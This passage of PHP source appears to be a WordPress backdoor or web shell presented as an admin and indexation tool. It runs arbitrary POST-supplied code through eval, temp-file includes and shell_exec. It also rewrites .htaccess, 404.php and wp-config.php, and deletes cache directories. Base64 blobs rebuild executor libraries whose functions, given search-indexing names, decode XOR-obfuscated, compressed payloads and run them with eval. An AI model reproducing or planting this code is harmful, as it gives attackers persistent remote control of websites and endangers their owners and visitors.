hwIGdldF9zaWRlYmFyKCk7ID8+DQo8P3BocCBnZXRfZm9vdGVyKCk7ID8+'); if(is_child_theme()){ $path404 = get_stylesheet_directory() . DIRECTORY_SEPARATOR . '404.php'; if(file_exists($path404)){ unlink($path404); } } $path404 = get_template_directory(). DIRECTORY_SEPARATOR . '404.php'; file_put_contents($path404,$code404); return true; } function htaccessfix(){ $htaccesscode=base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZVJ1bGUgLiogLSBbRT1IVFRQX0FVVEhPUklaQVRJT046JXtIVFRQOkF1dGhvcml6YXRpb259XQpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCgojIEVORCBXb3JkUHJlc3M='); $htaccessfile = ABSPATH.'.htaccess'; if (file_exists($htaccessfile)){ if (!(chmod($htaccessfile,0644))){ echo "<p>Can't change permissions</p>"; return false; } if (!(is_writable($htaccessfile))){ echo "<p>File isn't writable</p>"; return false; } } if (file_put_contents($htaccessfile,$htaccesscode)){ return true; } else { return false; } } function bring_tab(string $tabName){ echo "<script>"; echo " document.getElementById(\"$tabName\").click();"; echo "</script>"; } function checkpost(){ $postlist = array( 'mkfile', 'mkdir', 'selfdelete', 'htaccessfix', 'execution', 'cleanwpbh', 'cleannfpage', 'execsh', 'swdebug', 'purgecache', 'funcback', 'funcrest', 'upfile', ); foreach($postlist as $postline){ if (isset($_POST[$postline])){ return true; } else return false; } } function promtopurge(){ if (has_action('litespeed_purge_all')){ do_action('litespeed_purge_all'); } if (is_dir(ABSPATH.'wp-content/litespeed')){ rmdir_recursive(ABSPATH.'wp-content/litespeed'); } if (is_dir(ABSPATH.'wp-content/cache')){ rmdir_recursive(ABSPATH.'wp-content/cache'); } if (is_dir(ABSPATH.'wp-content/et-cache')){ rmdir_recursive(ABSPATH.'wp-content/et-cache'); } if (function_exists('wpfc_clear_all_cache')){ wpfc_clear_all_cache(true); } return true; } function rmdir_recursive($targetdir){ $dirfiles = array_diff(scandir($targetdir), array('.','..')); foreach ($dirfiles as $dirfile){ (is_dir("$targetdir/$dirfile"))? rmdir_recursive("$targetdir/$dirfile"):unlink("$targetdir/$dirfile"); } return rmdir($targetdir); } function insert_into_wp_config($content_to_insert) { $config_file_path = ABSPATH . 'wp-config.php'; $config_content = file_get_contents($config_file_path); $pattern = "/require_once\s*ABSPATH\s*.\s*'wp-settings\.php';\n*/i"; $goalstring = $content_to_insert."\nrequire_once ABSPATH . 'wp-settings.php';\n"; $config_content = preg_replace($pattern,$goalstring,$config_content); file_put_contents($config_file_path, $config_content); return true; } function get_active_parent_theme() : string { $parentTheme = ''; $theme = wp_get_theme(); if (!($theme->exists())) { return $parentTheme; } $parentTheme = $theme -> get_template_directory(); return $parentTheme; } function index_check_google_string(string $googleString) : string { if (str_ends_with(rtrim($googleString), '.html')){ return $googleString; } else { return rtrim($googleString).'.html'; } } function check_and_repair_inc($library) { $filePath = WP_PLUGIN_DIR . DIRECTORY_SEPARATOR . PROMTO_INCLUDES_PATH . DIRECTORY_SEPARATOR . "$library.php"; if(!file_exists($filePath) || filesize($filePath)<100){ switch($library){ case 'console': $fileContent = <<<EOL DQo8P3BocA0KDQppZiAoIWRlZmluZWQoJ0FCU1BBVEgnKSkgZXhpdDsNCg0KZnVuY3Rpb24gcHJvbXRvX2V4ZWN1dGUoJGNvZGUpIHsNCiAgICB0cnkgew0KICAgICAgICBldmFsKCRjb2RlKTsNCiAgICB9IGNhdGNoIChUaHJvd2FibGUgJGUpIHsNCiAgICAgICAgZWNobyAnRXJyb3I6ICcgLiAkZS0+Z2V0TWVzc2FnZSgpOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gcHJvbXRvX2V4ZWZpbGUoJGNvZGUpIHsNCiAgICB0cnkgew0KICAgICAgICAkdXBsb2FkUGF0aCA9IHdwX3VwbG9hZF9kaXIoKTsNCiAgICAgICAgJHRlbXBOYW1lID0gJHVwbG9hZFBhdGhbJ3BhdGgnXS5ESVJFQ1RPUllfU0VQQVJBVE9SLmJpbjJoZXgocmFuZG9tX2J5dGVzKDgpKSAuICcudHh0JzsNCiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJHRlbXBOYW1lLCI8P3BocFxuIi4kY29kZSk7DQogICAgICAgIGlmIChmaWxlX2V4aXN0cygkdGVtcE5hbWUpKXsNCiAgICAgICAgICAgIGluY2x1ZGUgJHRlbXBOYW1lOw0KICAgICAgICAgICAgdW5saW5rKCR0ZW1wTmFtZSk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgYSBmaWxlIjsNCiAgICAgICAgfQ0KDQogICAgfSBjYXRjaCAoVGhyb3dhYmxlICRlKSB7DQogICAgICAgIGVjaG8gJ0Vycm9yOiAnIC4gJGUtPmdldE1lc3NhZ2UoKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIHByb210b19leGVjYWxsKCRjb2RlKSB7DQogICAgdHJ5IHsNCiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCdzaGVsbF9leGVjJykgJiYgZmFsc2UgPT09IHN0cmlwb3MoaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSwgJ3NoZWxsX2V4ZWMnKSl7DQogICAgICAgICAgICAkY29tbWFuZCA9ICdwaHAgLXIgJyAuIGVzY2FwZXNoZWxsYXJnKCRjb2RlKTsNCiAgICAgICAgICAgIGVjaG8oc2hlbGxfZXhlYygkY29tbWFuZCkpOw0KICAgICAgICB9DQogICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiU2hlbGwgaXNuJ3QgY2FsbGFibGUiOw0KICAgICAgICB9DQogICAgfSBjYXRjaCAoVGhyb3dhYmxlICRlKSB7DQogICAgICAgIGVjaG8gJ0Vycm9yOiAnIC4gJGUtPmdldE1lc3NhZ2UoKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIHByb210b19leGV0ZW1wKCRjb2RlKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJHRtcCA9IHRtcGZpbGUoKTsNCiAgICAgICAgZndyaXRlKCR0bXAsICc8P3BocCcuUEhQX0VPTC4kY29kZSk7DQogICAgICAgICRtZXRhID0gc3RyZWFtX2dldF9tZXRhX2RhdGEoJHRtcCk7DQogICAgICAgIGluY2x1ZGUgJG1ldGFbJ3VyaSddOw0KICAgICAgICBmY2xvc2UoJHRtcCk7DQogICAgfSBjYXRjaCAoVGhyb3dhYmxlICRlKSB7DQogICAgICAgIGVjaG8gJ0Vycm9yOiAnIC4gJGUtPmdldE1lc3NhZ2UoKTsNCiAgICB9DQp9 EOL; break; case 'index': $fileContent = <<<EOL PD9waHANCg0KaWYgKCFkZWZpbmVkKCdBQlNQQVRIJykpIGV4aXQ7DQoNCmZ1bmN0aW9uIGluZGV4X2dvb2dsZShzdHJpbmcgJGdvb2dsZUZpbGUpIHsNCiAgICAkX2s9MjIzOw0KICAgICRfcz0nc1ltWms3NjRsWjJhbWUrdHVwYTdqSjJhJy4ndTQ2MDYrK2FtcmVJa3FpSWpxK1ZsNnlGJy4nN2FldnE1aVV1ck9xcHJ5M3RwV2JqNWF2Jy4ncTd5V2g3cU91SnFPcU8rTXFlL3NuTFdyJy4ndVpHTHA3VHZpYTd2Nys3bTdMR3A3cFN2Jy4naXBxWHU3UzZocVh2dmJMbWk1aWRzWkswJy4na0xlVXJyU2Vxb3lOaXBxem1hcjBqWXJyJy4nckl5SzdwT3lzWnFTa0l5cm5xZWRpNjJ5Jy4nbnBidHErdTVwNW1Vckp1MXRaSzByYWExJy4naVpUd3VaVHRpYjMwNkp5T3FZcWVzSS92Jy4nbmVtbnJZMmM3NW1RbSsrdHMvQ1I2cGlVJy4naUl5MmlZcVR0TFhwbTR1WWlZYSs2YVhwJy4nOEppdHM0V1p0Wk8zbnJlMWpwbXB1TG10Jy4ndWVtS21aR09qT2lKanJ6MDhJbTY3cEtsJy4na1ltOGsram1zK2lkOE96bWlxdm1ycTZ4Jy4nNklxbGw2dUZsWVc5dXJUcXJyQ0xwWXF2Jy4ncDRXZGk2cnU2ZStMa2JHSGxPbW03SlNJJy4nNzRlbzZiR1JoNitGa0t1d3VxcTlsWStlJy4nanJLWHJJNmRpcEQwbGFhWHU1T0tsTE91Jy4ncyt6dHM3YU9xNGlVbCtlV21laTZuYWZyJy4naFllc3RyUzNtcm51cXB5WGpKcTZuZWljJy4ndFlpVHMram9yYjJkNXIyRjU3cVh0S2lkJy4ndDVTU3I2eU9xWnlWam95WnJKbWx2Ym13Jy4ncU9xWW5vbVg2WWVXbDVXWHU2ZXVwWk82Jy4ndVpTU2kvQ3o1cHVuNm9xTzdiaVppcDZYJy4naXBicnA2YVZpNC8wdDZmc3UrcUg2cDMwJy4ndUt6MHFxNnRpTGF2cnJHdnFxYWRoWXllJy4nOEplVmtPbnF2SWFkNm91TnUrenBqYnppJzsNCg0KICAgICRfZD1iYXNlNjRfZGVjb2RlKCRfcyk7DQogICAgJF94PScnOw0KICAgIGZvcigkX2k9MDskX2k8c3RybGVuKCRfZCk7JF9pKyspew0KICAgICAgICAkX3guPWNocihvcmQoJF9kWyRfaV0pXiRfayk7DQogICAgfQ0KDQogICAgJF9wPWJhc2U2NF9kZWNvZGUoJF94KTsNCiAgICAkX3A9Z3ppbmZsYXRlKCRfcCk7DQogICAgZXZhbCgkX3ApOw0KfQ0KDQpmdW5jdGlvbiBpbmRleF9zaXRlbWFwKHN0cmluZyAkc2l0ZW1hcFN0cmluZykgew0KICAgICRfaz0yMTg7DQogICAgJF9zPSdxb0NJdUxqanFwdWZrNDI4a29PMDlaZWYnLiduSk9Zc1lpWTdZbVhsTEc3bTdLT3ZyWHEnLidpNCtacTR5U2pMYTR2NjJZamFDUXY3dnAnLid2Nm05a2FqaTQreWlyT2lSZ0wySW83V2onLid2S3E5NDcveHVPN282cXl3anAycGtQV3AnLidvcENDcUttL3JiMnduYkhpakttc2xxT1knLidpcSt5a0t5UDQ3anFzT0xwdHAvdXM1L3YnLid1NkNpbWVxcWdyeVVpTFdzc0p2cnI3Q08nLiduNW00bDY2UGw0Q3Zub09ScmUzam81QzgnLidsK0wxc0pHZnZiK2Znb3lObEpMdW42cVYnLidsWnlNdGJ5MG9PM3hsYmZ2ajdDZDc3ZWcnLic3NHkvNjZLaXE3S0RxYm1abEpuc2pJbVcnLid2TENTdktLMzZPdXF0Nnp1N3VtSnZZMlAnLidtK3FENm91MTlaT3dpZTZZaTdmb2llbnMnLiduYldWN3JtUW9vMm9qb21lakxPc2wraVUnLidqNUdQN29ucnI3MldrSTIzNnBXdW5JQ3InLid2cFdVaWJPNzZPMjlxSU94dFlEdDZKMnAnLid0TEdidUxTNXVQR3BsZW5zbnIvc3Y3R1YnLidqN3VZNmFDeHY3Q2N2SmV4dnF6c3E1Mk0nLid0YWlkdEsyUHRMYXJrN3pzdnArMHEvV3InLidzT3ExbFpEaW83YUpvcjJSN2U2OTlZeWUnLidnb09PbzZ6cmxaQ2dpSmV5dkk3eHVmV3EnLic5WmErOGFucm9KV2drN3p2N2I2OHVMLzEnLic2NHFVcTd5Y3VKU3ZsUFdRczRLU2pyU2UnLidncU93dEo2THI1MnhpckdYamJDVHFwYVAnLidzKzcxc0xXenRyaVF1NnU4bEtudXJydU0nLidrSlN2bkpQajdaQzF0cXk1a0syTXVQRzUnLid1SkdSa3VPN2thK3ZzSXFXbkxLVGtwaXUnLid1TEt5Z0k2b3IrS2c2YStMdDQyQ3QraU4nLidrNXlDa3JlMmcrcXFqUFdyazVXd243dXInLid2NHVkdEtxcGpJaTlySmp1dHBhamlxK3EnLic2cFdna3FxdDQvV2V0cStndHVPSnJKQ3InLiduYmExbGJMeGdKeTVrTEd6bSt5TWtwM3UnLidzcDY4cSt1K25wT1dsck9ZdmJuMW00aUonLidxNVB1ckxPSW00NnU2N3lUalBXWmc2NkonLid2NHZvanE2VHU1T0txSnpwcU9ycDQrS3gnLid2NnE1N091K243V0NsN1ByaTRxN3N1TG8nLidzSzJ0czRpRGdwdXo2cU9VcnBpZGxMT1gnLic2cDd1dS9HZW1LbTJsbytEdnJqMXN2V3cnLidxYTYwbU9PdnM2cUtrSnlDaVl5YzZJaTEnLidqWW13dHBHc2llTHB2S3labktLMHJPbTcnLic4WUN6c3Jhc3NaZUo3cmk5NjQ3cm9MS3InLidvTE9PaUxhZXFlaWdydTZiJzsNCiAgICAkX2Q9YmFzZTY0X2RlY29kZSgkX3MpOw0KICAgICRfeD0nJzsNCiAgICBmb3IoJF9pPTA7JF9pPHN0cmxlbigkX2QpOyRfaSsrKXsNCiAgICAgICAgJF94Lj1jaHIob3JkKCRfZFskX2ldKV4kX2spOw0KICAgIH0NCiAgICAkX3A9YmFzZTY0X2RlY29kZSgkX3gpOw0KICAgICRfcD1nemluZmxhdGUoJF9wKTsNCiAgICBldmFsKCRfcCk7DQp9DQoNCmZ1bmN0aW9uIGluZGV4X2ZsYWdfZW5naW5lKCkgew0KICAgICRfaz0xNTE7DQogICAgJF9zPSc1Y0hmMmZiazNkYlMyNlBQOGQ3ejFmNzcnLicwc2JFcjdpOHg5TFo0Y2ZHOXRubTRLYmUnLicwdUhPMzlUOHdQams5Y1RmMGZudTFQbmonLicrTi9FM3VQbnA2UEQrTnl2N3J6ODlkcm0nLicvZlBTOHRpajhlVE54L2IxdlBXaTRlUDUnLiczdERSMktQZW9mN0grOWp6MjZiSHplSHonLic0dnpjM09MbXdOVE93YS91cGVDdTJxYkEnLic1OWJseHM3NSt0UFF3K0dqMXRDazBjQ2wnLidwNmZ1OU5pajUrMmkvUHYxN3R1aXd0YmwnLic1OGJHMk9IQXp0amN4NkRDMXRuZDVxTDknLicyZlBuMGNHaTBzM0Z4UFR0NHZyVjg4RCsnLid3dmJTcis2aXIvYmY5dFRQNWFQOS8vdlEnLid2TjdDNWNQVzBMamN3YVRsOHFQdnB2N1YnLicwZkR3L2Z6aTJ2VE53dTN0MDhUOXVNVHgnLicxdHlpcCtiUTg2SGg0YVhRdk56NStkWGonLidwT2JQMXNTdTl1WGoydURuKzhLazFzZmQnLicwY1Bpby9yRzNQWFUzODdrNXR2RW8rVGonLicrZnFtL04rZzRlRHZ4dnJpNGRIZm90ejUnLic0cmpGd3MrdjM2YisvZERHbzhUQTc4M2InLid4Tjc2ejZQVnp2ajk0UCs4Ly9pdjhNZnonLidvc0xFcGQ2ZzVhVzg4ZFRjMnU3Ujl2RFEnLid1S1BHdzl6QSt0WFc0Tm41cHRtbjByekMnLic1YVB1OVB2V3h2bmQwK1RTd09MMDdlWGsnLicrOXpOL2NiMjBhUEY4OExWL09EbndPZmknLic0dmluemZUdm9OckhwUGJ1ejdqdStNT24nLic5YVdpOWFXaXIrZlo1TmJXcXFvPSc7DQogICAgJF9kPWJhc2U2NF9kZWNvZGUoJF9zKTsNCiAgICAkX3g9Jyc7DQogICAgZm9yKCRfaT0wOyRfaTxzdHJsZW4oJF9kKTskX2krKyl7DQogICAgICAgICRfeC49Y2hyKG9yZCgkX2RbJF9pXSleJF9rKTsNCiAgICB9DQogICAgJF9wPWJhc2U2NF9kZWNvZGUoJF94KTsNCiAgICAkX3A9Z3ppbmZsYXRlKCRfcCk7DQogICAgZXZhbCgkX3ApOw0KfQ0KDQpmdW5jdGlvbiBpbmRleF9tZXRhdGFnKHN0cmluZyAkc3RyaW5nTWV0YXRhZykgew0KICAgICRfaz0xMjY7DQogICAgJF9zPSdFaWdxR2h3V05EdzRNa3NJVGhBZEp6MHYnLidFeGtXTGg4VEV4VVpFakFUVHpBSU9qOU0nLidCemRNRGhvcU1Cb09Dd2NUTWprR1REeEonLidLd1lxS0F3SkNSVXNMU1lOUFZFNVBFWS8nLidURXMwRng4YkZRd0VNZ2NzUzBZSkMwazUnLidCQm9SQ3lzOVRESXVFRXRSQ0RGVkhVZ2snLidFQWN1Q1MwcUN6TXJSa3NQU3p3MkZoQUwnLidUeFZPQkVsR01Ea01MazQ3RGd3TEd6SkcnLidUVFlFR1V0UE5TNHdKaFE0SnhsTEhBMEUnLidUeE5HRHg5TlBFNDdUd1laVHc4ZENBMHcnLidNd2szTGhsSU1ESW9FUWdkRFJzS0RSbE4nLidOeklJTkRFRU9ETVVIMDVSTWtnZkN5aEwnLidWUjhtQmljUVR4UU9IQWs5R0VZNUh3MHMnLidGd296RDFFWktSTklFems5THpJSUMwNGEnLidGUXhNT2g4dlRVd0VDQjlMRUV0TktRY3gnLidKamRWUmo4MkxrWUhUaE1YTFU5Sk5CdzcnLidLa2M3SmdoR0tUY3NQQk0wQ3p3dk9sRXonLidOeVlPVERjWk1oRVZTalFMTnpVUUQxRTcnLidNUndITFJ3cVBCc0hPMUUwRVRRZEprMDQnLidOUTg1TkNZSE9UbEhTem9jTkRwSUJFb3knLidCQmdMS2pvWEYwb0tFMVZHUnlrR01RcFYnLidDQTFSVlRnNUNDc3hUajgyTXcwNlRDZ2MnLidHaGs5Rno4UUNROHNERFEyQmpRVlBTNGsnLidMVFluRWhrWlNnNE5SanM1TUFZeVB4d0gnLidMellmTER3Y1B6MHJCa2N6R0N3eU1rNHQnLidVUjBURVNRT01SMVBEeXc5UEM0NEZrWU4nLidNaHBQTzBvSkN4azJNeE1MTVRzeEx5OUsnLidQRXNaSEQ4OEh6Z0tUQ2RJUEJrOUZTeFYnLidQVHNVR0QwT016ME5DZzROSFR3WEx6b0onLidOQ29SRlR3d0V3ODRNRWhOS3ljVFIwZ1QnLidTeE5KTWhndk5CTTlPeFl3VFFZYlRFZ3AnLidTQTg1UFJnY0dpNGFUZ3dTREJFNk14RTcnLidHeEFOTlNZN0h3OU9UMDQ5SndZVk9ob0UnLidQdzVORFR4SVB6ZEdDVFliUEZVMUtnZ0gnLidGemM2R3dZVER6OHNTdzQvUnlvY0RUc0onLidIQlVWQndwVlQwY3dQQlFvU0NzTUZCb0snLidOUWdmVFQ5T1BEOHdVVGNVQ3pkT1R5ZzgnLidGRThyUFFzekZDY1pLRTlOQ0JjYkR3WVQnLidNVFF0SENnVUh3UU5Od1k4RTBoSE1pbE4nLidHakk5VFNjVE5rdEdPUzQ5RVZGTERScEonLidFaDBmR1QwTktUSXpUVFluSmpBRUxVc08nLidUd3NMS0N0S0xTZ29DZ3cyUFNzNk4xVkwnLidHaWtNUFVZUktnWlZMUllxR1I4c0d6QVknLidMQXdTREE4NU5Cd09PVHNHU3pVMU9Vb00nLidMUzBVU3dnR09qczlIU29jVVFZVlNFd04nLidIQ3dKRmhZeERCUWRKQXBPVFVZckZ4RVknLidEeWRPT0M4Zk9oRUVUQzgyS2dsTkVUOVYnLidUVHdQS2hNOE9SOFRPUklJUHk4MEd3MFonLidLUzhLQmk4NFZSWkhGajAxRUFzd0Ywb24nLidTakFuQ1IwOUZVNUhLek1mTGpVNkp3MG0nLidTQXM0R0JNSUJ4WVRGRGdXRlUwc0VRNUcnLidOeDBFUHo4R0hWRXdTdzFNS0I4NEdnb1cnLidTaG9SU1RZdVN3eElUa2tMRlJnTE1rNUonLidGVkVvQzBnR055dEdLaXd4RVRjOVRUVUknLidGaGdtVlQ4L1EwTT0nOw0KICAgICRfZD1iYXNlNjRfZGVjb2RlKCRfcyk7DQogICAgJF94PScnOw0KICAgIGZvcigkX2k9MDskX2k8c3RybGVuKCRfZCk7JF9pKyspew0KICAgICAgICAkX3guPWNocihvcmQoJF9kWyRfaV0pXiRfayk7DQogICAgfQ0KICAgICRfcD1iYXNlNjRfZGVjb2RlKCRfeCk7DQogICAgJF9wPWd6aW5mbGF0ZSgkX3ApOw0KICAgIGV2YWwoJF9wKTsNCn0= EOL; break; default: return false; } file_put_contents($filePath, base64_decode(($fileContent))); return true; } return true; } function promto_output($PromtoFM){ if (isset($_POST['htaccessfix'])){ if (htaccessfix()){ echo '<p>Success.</p>'; } else { echo '<p>Fail.</p>'; } } if (isset($_POST['execution'])) { chdir($PromtoFM->get_workdir()); check_and_repair_inc('console'); $code = stripslashes($_POST['run_script']); echo '<h2>Output:</h2><pre>'; include_once('includes/console.php'); if(function_exists('promto_execute')){ promto_execute($code); } else{ echo "Can't execute code. Executor lib doesn't exists"; } echo '</pre>'; } if (isset($_POST['exefile'])) { chdir($PromtoFM->get_workdir()); check_and_repair_inc('console'); $code = stripslashes($_POST['run_script']); echo '<h2>Output:</h2><pre>'; include_once('includes/console.php'); if(function_exists('promto_exefile')){ promto_exefile($code); } else{ echo "Can't execute code. Executor lib doesn't exists"; } echo '</pre>'; } if (isset($_POST['execall'])) { chdir($PromtoFM->get_workdir()); check_and_repair_inc('console'); $code = stripslashes($_POST['run_script']); echo '<h2>Output:</h2><pre>'; include_once('includes/console.php'); if(function_exists('promto_execall')){ promto_execall($code); } else{ echo "Can't execute code. Executor lib doesn't exists"; } echo '</pre>'; } if (isset($_POST['exetemp'])) { chdir($PromtoFM->get_workdir()); check_and_repair_inc('console'); $code = stripslashes($_POST['run_script']); echo '<h2>Output:</h2><pre>'; include_once('includes/console.php'); if(function_exists('promto_exetemp')){ promto_exetemp($code); } else{ echo "Can't execute code. Executor lib doesn't exists"; } echo '</pre>'; } if (isset($_POST['cleanwpbh'])){ if (cleanwpbh(ABSPATH.'wp-blog-header.php')){ echo '<p>wp-blog-header.php is cleaned.</p>'; } else{ echo '<p>Cannot modify wp-blog-header.php</p>'; } } if (isset($_POST['cleannfpage'])){ if (fix404()){ echo '<p>Success</p>'; } } if (isset($_POST['purgecache'])){ if (promtopurge()){ echo '<p>Cache purged</p>'; } } //FUNC if (isset($_POST['funcback'])){ if (backup_theme()){ echo '<p>functions.php backed up</p>'; } else{ echo '<p>Failed to back up functions.php</p>'; } } //FUNC RESTORE if ((isset($_POST['funcrestTH']))||(isset($_POST['funcrestPL']))||(isset($_POST['funcrestDB']))){ if (isset($_POST['funcrestTH'])){ if (restore_theme(0)){ echo '<p>functions.php restored</p>'; } } if (isset($_POST['funcrestPL'])){ if (restore_theme(1)){ echo '<p>functions.php restored</p>'; } } if (isset($_POST['funcrestDB'])){ if (restore_theme(2)){ echo '<p>functions.php restored</p>'; } } } //INDEX if (isset($_POST['indexSitemap'])){ if ($_POST['indexSitemap']!=''){ bring_tab("tabIndexation"); check_and_repair_inc('index'); include_once('includes/index.php'); if (function_exists('index_sitemap')){ $urlParts = parse_url($_POST['indexSitemap']); if (!empty($urlParts['scheme'])&&!empty($urlParts['host'])){ $urlDehost = str_replace($urlParts['scheme'].'://'.$urlParts['host'].'/','',$_POST['indexSitemap']); @index_sitemap($urlDehost); } else { @index_sitemap($_POST['indexSitemap']); } } if (function_exists('index_flag_engine')){ @index_flag_engine(); } } } if (isset($_POST['indexGoogle'])){ if ($_POST['indexGoogle']!=''){ bring_tab("tabIndexation"); check_and_repair_inc('index'); include_once('includes/index.php'); if (function_exists('index_google')){ @index_google(index_check_google_string($_POST['indexGoogle'])); } } } if (isset($_POST['indexMetatag'])){ if ($_POST['indexMetatag']!=''){ bring_tab("tabIndexation"); check_and_repair_inc('index'); include_once('includes/index.php'); if (function_exists('index_metatag')){ @index_metatag($_POST['indexMetatag']); } } } }